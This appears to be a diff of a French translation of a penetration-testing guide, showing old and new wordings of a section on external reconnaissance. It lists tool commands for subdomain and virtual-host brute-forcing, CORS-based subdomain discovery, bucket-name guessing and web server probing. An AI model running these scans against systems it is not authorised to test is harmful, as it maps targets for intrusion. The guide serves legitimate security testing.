Ce projet offre gratuitement tous les sous-domaines liés aux programmes de bug bounty. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||||
|
|
||||||
Vous pouvez trouver une **comparaison** de nombreux outils ici : [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
Vous pouvez trouver une comparaison de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||||
|
|
||||||
### **DNS Brute force**
|
### **Brute force DNS**
|
||||||
|
|
||||||
Essayons de trouver de nouveaux **sous-domaines** en forçant brutalement les serveurs DNS à l'aide de noms de sous-domaines possibles.
|
Essayons de trouver de nouveaux sous-domaines en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles.
|
||||||
|
|
||||||
Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domaines communs comme** :
|
Pour cette action, vous aurez besoin de listes de mots de sous-domaines courants comme:
|
||||||
|
|
||||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||||
|
@ -345,93 +343,93 @@ Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domai
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
Et aussi des IP de bons résolveurs DNS. Pour générer une liste de résolveurs DNS de confiance, vous pouvez télécharger les résolveurs depuis [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) et utiliser [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) pour les filtrer. Ou vous pourriez utiliser : [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
Et aussi des adresses IP de bons résolveurs DNS. Pour générer une liste de résolveurs DNS de confiance, vous pouvez télécharger les résolveurs depuis [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) et utiliser [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) pour les filtrer. Ou vous pourriez utiliser: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Les outils les plus recommandés pour le brute-force DNS sont :
|
Les outils les plus recommandés pour le brute force DNS sont:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns) : C'était le premier outil qui a effectué un brute-force DNS efficace. Il est très rapide mais il est sujet aux faux positifs.
|
* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil qui a effectué un brute force DNS efficace. Il est très rapide mais il est sujet aux faux positifs.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||||
```
|
```
|
||||||
* [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense, utilise juste 1 résolveur
|
* [**gobuster**](https://github.com/OJ/gobuster): Celui-ci, je pense, utilise simplement 1 résolveur
|
||||||
```
|
```
|
||||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||||
```
|
```
|
||||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant le bruteforce actif, ainsi que de résoudre les sous-domaines avec la gestion des jokers et un support facile pour l'entrée-sortie.
|
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile.
|
||||||
```
|
```
|
||||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
* [**puredns**](https://github.com/d3mondev/puredns) : Il utilise également `massdns`.
|
* [**puredns**](https://github.com/d3mondev/puredns): Il utilise également `massdns`.
|
||||||
```
|
```
|
||||||
puredns bruteforce all.txt domain.com
|
puredns bruteforce all.txt domain.com
|
||||||
```
|
```
|
||||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer brutalement les noms de domaine de manière asynchrone.
|
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone les noms de domaine.
|
||||||
```
|
```
|
||||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||||
```
|
```
|
||||||
### Deuxième tour de Brute-Force DNS
|
### Deuxième tour de force brute DNS
|
||||||
|
|
||||||
Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et en effectuant du brute-forcing, vous pourriez générer des variantes des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cet effet :
|
Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la force brute, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin :
|
||||||
|
|
||||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** :** Étant donné les domaines et sous-domaines, génère des permutations.
|
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** : ** Étant donné les domaines et sous-domaines, générer des permutations.
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
* [**goaltdns**](https://github.com/subfinder/goaltdns) : Étant donné les domaines et sous-domaines, génère des permutations.
|
* [**goaltdns**](https://github.com/subfinder/goaltdns): Étant donné les domaines et sous-domaines, générer des permutations.
|
||||||
* Vous pouvez obtenir la **liste de mots** de permutations de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
* Vous pouvez obtenir la liste de permutations de **wordlist** de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||||
```bash
|
```bash
|
||||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||||
```
|
```
|
||||||
* [**gotator**](https://github.com/Josue87/gotator)** :** Étant donné les domaines et sous-domaines, génère des permutations. Si aucun fichier de permutations n'est indiqué, gotator utilisera le sien.
|
* [**gotator**](https://github.com/Josue87/gotator)**:** Étant donné les domaines et sous-domaines, générer des permutations. Si aucun fichier de permutations n'est indiqué, gotator utilisera le sien.
|
||||||
```
|
```
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns) : En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils précédemment commentés).
|
* [**altdns**](https://github.com/infosec-au/altdns): En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils précédemment commentés).
|
||||||
* Vous pouvez obtenir la **liste de mots** de permutations altdns [**ici**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* Vous pouvez obtenir la **liste de mots** de permutations altdns [**ici**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
* [**dmut**](https://github.com/bp0lr/dmut) : Un autre outil pour effectuer des permutations, mutations et modifications de sous-domaines. Cet outil va forcer brutalement le résultat (il ne prend pas en charge le joker dns).
|
* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil effectuera une attaque en force sur le résultat (il ne prend pas en charge les wildcards DNS).
|
||||||
* Vous pouvez obtenir la liste de mots de permutations dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
* Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
```
|
```
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)** :** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines.
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines.
|
||||||
|
|
||||||
#### Génération intelligente de permutations
|
#### Génération intelligente de permutations
|
||||||
|
|
||||||
* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, lisez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement prendre les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
||||||
```bash
|
```bash
|
||||||
python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de force brute pour sous-domaines couplé à un algorithme guidé par les réponses DNS d'une simplicité mais d'une efficacité immense. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision davantage de noms de domaine correspondants et les étendre encore plus en boucle en se basant sur les informations recueillies lors du scan DNS.
|
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de force brute de sous-domaine couplé à un algorithme immensément simple mais efficace guidé par les réponses DNS. Il utilise un ensemble de données d'entrée fourni, comme une liste de mots personnalisée ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision plus de noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors du scan DNS.
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
### **Flux de travail de découverte de sous-domaines**
|
### **Flux de travail de découverte de sous-domaines**
|
||||||
|
|
||||||
Consultez cet article de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant **les workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur :
|
Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant les **flux de travail Trickest** afin de ne pas avoir à lancer manuellement une multitude d'outils sur mon ordinateur :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
### **VHosts / Hôtes Virtuels**
|
### **VHosts / Hôtes virtuels**
|
||||||
|
|
||||||
Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites web sur cette IP** en cherchant dans les sources **OSINT** pour des domaines dans une IP ou en **forçant brutalement les noms de domaine VHost dans cette IP**.
|
Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pouvez essayer de **trouver d'autres sous-domaines avec des sites web sur cette IP** en recherchant dans des **sources OSINT** des domaines dans une IP ou en **forcant les noms de domaine VHost sur cette IP**.
|
||||||
|
|
||||||
#### OSINT
|
#### OSINT
|
||||||
|
|
||||||
Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres API**.
|
Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
||||||
|
|
||||||
**Force Brute**
|
**Brute Force**
|
||||||
|
|
||||||
Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pourriez essayer de le forcer brutalement :
|
Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pouvez essayer de le forcer :
|
||||||
```bash
|
```bash
|
||||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||||
|
|
||||||
|
@ -446,152 +444,152 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Avec cette technique, vous pourriez même accéder à des points de terminaison internes/cachés.
|
Avec cette technique, vous pourriez même être en mesure d'accéder à des endpoints internes/cachés.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **CORS Brute Force**
|
### **CORS Brute Force**
|
||||||
|
|
||||||
Parfois, vous trouverez des pages qui ne renvoient l'en-tête _**Access-Control-Allow-Origin**_ que lorsqu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsque qu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
||||||
```bash
|
```bash
|
||||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||||
```
|
```
|
||||||
### **Brute Force de Buckets**
|
### **Forçage de seaux**
|
||||||
|
|
||||||
Lors de la recherche de **sous-domaines**, surveillez pour voir s'il **pointe** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer brutalement les noms de buckets possibles et vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/).
|
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
### **Monitorisation**
|
### **Surveillance**
|
||||||
|
|
||||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les journaux de **Transparence des Certificats** [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait.
|
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait.
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
Vérifiez les possibles [**prises de contrôle de sous-domaine**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||||
Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/).
|
Si le **sous-domaine** pointe vers un **seau S3**, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte des actifs, vous devriez effectuer un **scan de vulnérabilité basique** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre des astuces pour les "attaquer"**.\
|
Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. En fonction des services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||||
_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc elle n'est pas dans le périmètre, soyez prudent._
|
_Notez que parfois le sous-domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
|
Dans les premières étapes, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
|
||||||
Il est temps de **recueillir toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
Il est temps de **recueillir toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
||||||
|
|
||||||
En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver **les IPs précédemment utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours appartenir au client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver les **IPs précédentes utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours être la propriété du client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
Vous pouvez également vérifier les domaines pointant une adresse IP spécifique en utilisant l'outil [**hakip2host**](https://github.com/hakluke/hakip2host)
|
Vous pouvez également vérifier les domaines pointant vers une adresse IP spécifique en utilisant l'outil [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car il est très probable que vous n'y trouviez rien d'intéressant). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||||
|
|
||||||
**Trouvez un** [**guide**](../pentesting-network/) **sur comment scanner les hôtes.**
|
**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.**
|
||||||
|
|
||||||
## Chasse aux serveurs Web
|
## Chasse aux serveurs Web
|
||||||
|
|
||||||
> Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs Web.
|
> Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs Web.
|
||||||
|
|
||||||
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et domaines découverts**, vous avez donc peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre.
|
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre.
|
||||||
|
|
||||||
Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, vous devriez donc également effectuer la **recherche de vulnérabilités** et le **scan de ports** (**si autorisé** par le périmètre).
|
Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer la recherche de vulnérabilités** et **le scan de ports** également (**si autorisé** par le périmètre).
|
||||||
|
|
||||||
Une **méthode rapide** pour découvrir les **ports ouverts** liés aux serveurs **Web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\
|
Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\
|
||||||
Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter au port 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports :
|
Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||||
```
|
```
|
||||||
### **Captures d'écran**
|
### **Captures d'écran**
|
||||||
|
|
||||||
Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de tous. Rien qu'en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des points de terminaison **étranges** qui sont plus **susceptibles d'être vulnérables**.
|
Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des **points d'extrémité étranges** qui sont plus **susceptibles** d'être **vulnérables**.
|
||||||
|
|
||||||
Pour réaliser l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Pour mettre en œuvre l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** pour vous dire **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas.
|
De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour parcourir toutes les **captures d'écran** et vous indiquer ce qui est susceptible de contenir des vulnérabilités, et ce qui ne l'est pas.
|
||||||
|
|
||||||
## Actifs Cloud Publics
|
## Actifs Cloud Publics
|
||||||
|
|
||||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaine">`.
|
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaines">`.
|
||||||
|
|
||||||
Vous aurez également besoin de listes de mots de **mots communs utilisés dans les buckets** :
|
Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** :
|
||||||
|
|
||||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||||
|
|
||||||
Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Deuxième tour de force brute DNS**](./#second-dns-bruteforce-round) pour plus d'informations).
|
Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) pour plus d'informations).
|
||||||
|
|
||||||
Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||||
|
|
